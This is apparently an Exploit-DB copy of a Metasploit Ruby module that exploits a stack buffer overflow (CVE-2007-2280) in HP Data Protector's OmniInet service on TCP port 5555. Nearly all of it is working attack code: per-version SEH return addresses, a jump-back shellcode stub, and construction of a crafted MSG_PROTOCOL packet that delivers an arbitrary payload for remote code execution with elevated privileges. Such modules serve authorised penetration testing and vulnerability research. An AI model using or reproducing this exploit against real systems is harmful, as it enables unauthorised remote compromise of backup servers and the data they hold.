HP – ‘OmniInet.exe’ MSG_PROTOCOL Buffer Overflow (Metasploit) (2)

  • 作者: Metasploit
    日期: 2010-09-20
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/16455/
  • ##
    # $Id: hp_omniinet_1.rb 10394 2010-09-20 08:06:27Z jduck $
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    
    require 'msf/core'
    
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = GreatRanking
    
    	include Msf::Exploit::Remote::Tcp
    	include Msf::Exploit::Remote::Seh
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'HP OmniInet.exe MSG_PROTOCOL Buffer Overflow',
    			'Description'=> %q{
    					This module exploits a stack-based buffer overflow in the Hewlett-Packard
    				OmniInet NT Service. By sending a specially crafted MSG_PROTOCOL (0x010b)
    				packet, a remote attacker may be able to execute arbitrary code with elevated
    				privileges.
    
    				This service is installed with HP OpenView Data Protector, HP Application
    				Recovery Manager and potentially other products. This exploit has been tested
    				against versions 6.1, 6.0, and 5.50 of Data Protector. and versions 6.0 and 6.1
    				of Application Recovery Manager.
    
    				NOTE: There are actually two consecutive wcscpy() calls in the program (which
    				may be why ZDI considered them two separate issues). However, this module only
    				exploits the first one.
    			},
    			'Author' =>
    				[
    					'EgiX <n0b0d13s[at]gmail.com>',
    					'Fairuzan Roslan <riaf[at]mysec.org>',
    					'jduck'
    				],
    			'Version'=> '$Revision: 10394 $',
    			'References' =>
    				[
    					[ 'CVE', '2007-2280' ],
    					[ 'BID', '37396' ],
    					[ 'OSVDB', '61206' ],
    					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-09-099' ]
    				],
    			'Privileged' => true,
    			'DefaultOptions' =>
    				{
    					'EXITFUNC' => 'seh',
    				},
    			'Payload' =>
    				{
    					'Space'=> 4658+66,
    					'BadChars' => "\x00", # (we don't want \x00\x00)
    					'StackAdjustment' => -3500
    				},
    			'Platform' => 'win',
    			'Targets'=>
    				[
    					[ 'Automatic Targeting', { 'auto' => true }],
    
    					# DP Targets
    					[ 'HP OpenView Storage Data Protector A.05.50: INET, internal build 330',
    						{
    							'Ret' => 0x004406cf # p/p/r - OmniInet.exe (v5.50.330.0)
    						}
    					],
    					[ 'HP OpenView Storage Data Protector A.06.00: INET, internal build 331',
    						{
    							'Ret' => 0x0044327d # p/p/r - OmniInet.exe (v6.0.331.0)
    						}
    					],
    
    					# APPRM Targets
    					[ 'HP StorageWorks Application Recovery Manager A.06.00: INET, internal build 81',
    						{
    							'Ret' => 0x004280ff # p/p/r - OmniInet.exe (v6.0.81.0)
    						}
    					],
    					[ 'HP Application Recovery Manager software A.06.10: INET, internal build 282',
    						{
    							'Ret' => 0x004412ed # p/p/r - OmniInet.exe (v6.0.282.0)
    						}
    					]
    				],
    			'DefaultTarget'=> 0,
    			'DisclosureDate' => 'Dec 17 2009'))
    
    		register_options([Opt::RPORT(5555)], self.class)
    	end
    
    	def check
    		connect
    		sock.put(rand_text_alpha_upper(64))
    		resp = sock.get_once(-1,5)
    		disconnect
    
    		if (resp)
    			resp = resp.unpack('v*').pack('C*')
    			print_status("Received response: " + resp)
    
    			# extract version
    			if (resp =~ /HP Data Protector/)
    				version = resp.split[3]
    			elsif (resp =~ /HP OpenView Storage Data Protector/)
    				version = resp.split[5]
    			elsif (resp =~ /HP StorageWorks Application Recovery Manager/)
    				version = resp.split[5]
    			else
    				return Exploit::CheckCode::Detected
    			end
    
    			version = version.split('.')
    			major = version[1].to_i
    			minor = version[2].to_i
    			if ((major < 6) or (major == 6 and minor < 11))
    				return Exploit::CheckCode::Vulnerable
    			end
    
    			if ((major > 6) or (major == 6 and minor >= 11))
    				return Exploit::CheckCode::Safe
    			end
    
    		end
    		return Exploit::CheckCode::Safe
    	end
    
    	def exploit
    		mytarget = target
    
    		if (target['auto'])
    			mytarget = nil
    
    			print_status("Automatically detecting the target...")
    
    			connect
    			sock.put(rand_text_alpha_upper(64))
    			resp = sock.get_once(-1,5)
    			disconnect
    
    			if not resp
    				raise RuntimeError, "No version response returned."
    			end
    
    			resp = resp.unpack('v*').pack('C*')
    			print_status("Received response: " + resp)
    
    			self.targets.each do |t|
    				if (resp =~ /#{t.name}/) then
    					mytarget = t
    					break
    				end
    			end
    
    			if (not mytarget)
    				raise RuntimeError, "No matching target"
    			end
    
    			print_status("Selected Target: #{mytarget.name}")
    		else
    			print_status("Trying target #{mytarget.name}...")
    		end
    
    		# separator between arguments
    		sep = [0x2000].pack('N')
    
    		# Unicode BOM
    		pkt = "\xff\xfe"
    		# MSG_PROTOCOL command
    		pkt << Rex::Text.to_unicode("267")
    
    		# dunno
    		3.times do
    			pkt << sep
    			pkt << rand_text_alpha_upper(2)
    		end
    
    		# culprit string
    		pkt << sep
    
    		# the payload + seh record
    		pkt << payload.encoded
    		pkt << generate_seh_record(mytarget.ret)
    
    		# jump back
    		dist = payload_space + 8
    		pkt << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + dist.to_s).encode_string
    
    		# force exception hitting the end of the stack
    		pkt << rand_text_alphanumeric(1000) * 25
    
    		# 5th arg
    		pkt << sep
    		pkt << rand_text_alpha_upper(2)
    
    		# end marker
    		pkt << sep
    
    		# packet length
    		buff = [pkt.length].pack('N')
    		buff << pkt
    
    		connect
    		print_status("Sending MSG_PROTOCOL packet...")
    		sock.put(buff)
    
    		handler
    		disconnect
    
    	end
    
    end